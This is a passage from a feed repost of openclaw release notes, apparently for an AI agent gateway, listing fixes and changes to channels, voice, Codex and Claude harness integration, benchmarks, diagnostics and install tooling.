<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.26-beta.1]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
Better voice a...]]></description>
<link>https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</guid>
<pubDate>Tue, 26 May 2026 23:16:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.</li>
<li>Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.</li>
<li>More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.</li>
<li>Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.</li>
<li>New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 